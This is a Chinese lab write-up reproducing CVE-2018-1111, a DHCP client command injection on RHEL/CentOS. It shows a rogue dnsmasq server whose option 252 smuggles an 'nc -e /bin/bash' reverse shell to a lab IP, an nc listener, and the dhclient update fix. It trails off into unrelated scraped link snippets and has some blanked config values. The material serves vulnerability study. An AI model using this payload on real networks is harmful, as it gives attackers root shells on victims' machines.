CVE-2018-1111漏洞复现-环境搭建与dhcp命令注入
0×01 前言
2018年5月,在Red Hat Enterprise Linux多个版本的DHCP客户端软件包所包含的NetworkManager集成脚本中发现了命令注入漏洞(CVE-2018-1111),该漏洞目前已经进行了修补。攻击者可以通过本地网络上的恶意DHCP服务器或使用恶意的虚假DHCP响应来利用此漏洞进行攻击,一旦攻击成功,则可以在配置了DHCP的NetworkManager的系统上以root权限执行任意命令。
0×02 漏洞影响面
影响版本
- Red Hat Enterprise Linux Server 6
- Red Hat Enterprise Linux Server 7
- CentOS 6
- CentOS 7
0×03 环境搭建
攻击机:kali linux ip:192.168.1.14
受害机:centos7 ip:192.168.1.15
一、配置虚拟网络
打开VM虚拟机-菜单栏-编辑-虚拟网络编辑器,设置仅主机模式(关掉dhcp,设置ip)。
将 攻击机 和 受害机 网络配置成仅主机模式:


二、搭建dhcp服务
先在kali下设置一下网络
配置ip
ifconfig eth0 192.168.1.11 netmask 255.255.255.0
配置网管
route add default gw 192.168.1.11

在当前目录新建一个dnsmasq.conf文件,填入以下内容进行配置:
bind-interfaces interface=eth0 except-interface=lo dhcp-range=192.168.1.20,192.168.1.30,12h dhcp-option=,192.168.1.11 dhcp-option=,192.168.1.11 log-queries log-facility=/var/log/dnsmasq.log
参数解释
dhcp-range: 表示要分配给客户机的 ip 地址范围和租约时间 dhcp-option: 表示指定给 DHCP 客户端的选项信息 log-facility: 表示日志记录器
其中配置文件中包括的 option 取值及含义如下:
: 设置网关地址选项 : 设置 DNS 服务器地址选项 : 为 DHCP 客户端提供了一个用于配置其代理设置的 URL,wpad-proxy-url
payload 中涉及到的 option 252 是私人使用保留部分的一部分, 为 dhcp 服务器使用 252,然后在他们的浏览器中写入与 dhcp 服务器交谈的能力,并要求代码 252 从该选项列出的 URL 中获取关于网络上代理设置的信息。
这里 dnsmasq.conf中的dhcp-range设置:
为客户端分配 192.168.1.20-192.168.1.30/ 这个 ip 地址范围,租约时间为 12h。
0×04 命令注入
利用dnsmasq伪造dns服务器,命令执行 payload 如下:
dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.1.11 6666 #"

监听6666端口:
nc -lvp
重启CentOS的网络服务,然后shell就反弹回来了:


我们按一下centos的ip地址,在我们制定的ip段内(192.168.20-192.168.1.30)

0×05 修复方案
终端下执行
更新dhcp
yum -y update dhclient
查看更新日志
rpm -qa --changelog dhclient | grep CVE-
- Resolves: # - Fix CVE--: Do not parse backslash as escape character
CVE-2018-1111漏洞复现-环境搭建与dhcp命令注入的更多相关文章
- docker漏洞复现环境搭建
0x00 docker简介 把原来的笔记整理了一下,结合前几天的一个漏洞,整理一篇简单的操作文档,希望能帮助有缘人. docker是一个开源的应用容器引擎,开发者可以打包自己的应用到容器里面,然后迁移 ...
- KALI搭建Docker+Vulhub漏洞复现环境
在学习网络安全的过程中,少不了的就是做漏洞复现,而漏洞复现一般比较常用的方式就是使用docker-vulhub进行环境搭建,我近期也遇到了这个问题,但是网上的教程特别混乱,根本起不到帮助作用,即使有可 ...
- 漏洞复现环境集锦-Vulhub
0x01 Vulhub简介 Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场镜像. 0x02 安装 # 安装pip curl -s ht ...
- 漏洞复现-2.x rce-Thinkphp远程命令执行
0x00实验环境 攻击机:win10 靶机:Ubuntu18 (docker搭建的vulhub靶场) 0x01影响版本 影响Thinkphp 2.x的版本 0x02实验目的 学 ...
- Flutter环境搭建以及快捷命令
Flutter环境搭建 配置环境变量 用户变量 FLUTTER_STORAGE_BASE_URL : https://storage.flutter-io.cn PUB_HOSTED_URL : ht ...
- 2018.8.19 mybatis 环境搭建---配置mysql 。(Windows环境下面)
安装mysql Install/Remove of the Service Denied!错误的解决办法 在windos 的cmd下安装mysql 在mysql的bin目录下面执行: mysqld - ...
- DoraBox漏洞测试环境搭建和测试过程
未完待续...
- Redis学习——环境搭建以及基础命令使用
0. 前言: 这篇文章旨在对redis环境的搭建以及对redis有个大概的认识. 一.redis搭建: 环境:ubuntu 14 软件包:redis-3.0.3.tar.gz 安装步骤: 1. 首先解 ...
- 【漏洞复现】PHPCMS wap模块 SQL注入(附EXP)
漏洞影响版本:v9.5.8.v9.6.0 Step1: 访问:http://www.xxx.com/index.php?m=wap&a=index&siteid=1, 获取返回的coo ...
随机推荐
- JS文本中间显示省略号
众所周知,文本溢出显示省略号用CSS就可以: 单行文本: white-space: nowrap; text-overflow: ellipsis; overflow: hidden; display ...
- R语言计算相关矩阵然后将计算结果输出到CSV文件
R语言计算出一个N个属性的相关矩阵(),然后再将相关矩阵输出到CSV文件. 读入的数据文件格式如下图所示: R程序采用如下语句: data<-read.csv("I:\\SB\land ...
- Resharper安装及激活--转载
原文地址:ReSharper2018破解详细方法 1.先安装好Resharper: 2.下载完补丁后解压,以管理员身份运行Patch.cmd,如下图所示,即破解成功: 3.打开VS,打开ReSha ...
- Tomcat 数据源的原理、配置、使用
1.数据源的作用及操作原理 在程序代码中使用数据源是可以提升操作性能的,这种性能的提升依靠于运行的原理. 传统JDBC操作步骤 1.加载数据库驱动程序,数据库驱动程序通过CLASSPATH配置: 2. ...
- htmlunit模拟登录
htmlunit jar项目路径http://sourceforge.net/projects/htmlunit/files/htmlunit/ demo代码如下 public class AutoL ...
- 基于配置的Spring AOP
前面几篇学习了Spring的依赖注入,这篇开始学习另一个核心功能——面向切面编程AOP. 通过本文,你可以了解到: 1 Spring xml规范 2 通过配置文件实现面向切面编程 3 对比与传统AOP ...
- 利用Surfingkeys和tampermonkey效率操作网页
tampermonkey可以实现网页载入后自动进行某些操作,适合有规律的操作,实现完全自动化. 而Surfingkeys可以实现用各种按键实现各种功能,功能全部用JavaScript写,自定义性更强.
- Android下最小化程序到后台代码
procedure TForm1.Button4Click(Sender: TObject); var Intent: JIntent; begin Intent := TJIntent. ...
- OC 类 的声明
Student.h // @interface代表声明一个类 // : 代表继承 @interface Student : NSObject { // 成员变量要定义在下面的大括号中{} int ag ...
- gluon 实现多层感知机MLP分类FashionMNIST
from mxnet import gluon,init from mxnet.gluon import loss as gloss, nn from mxnet.gluon import data ...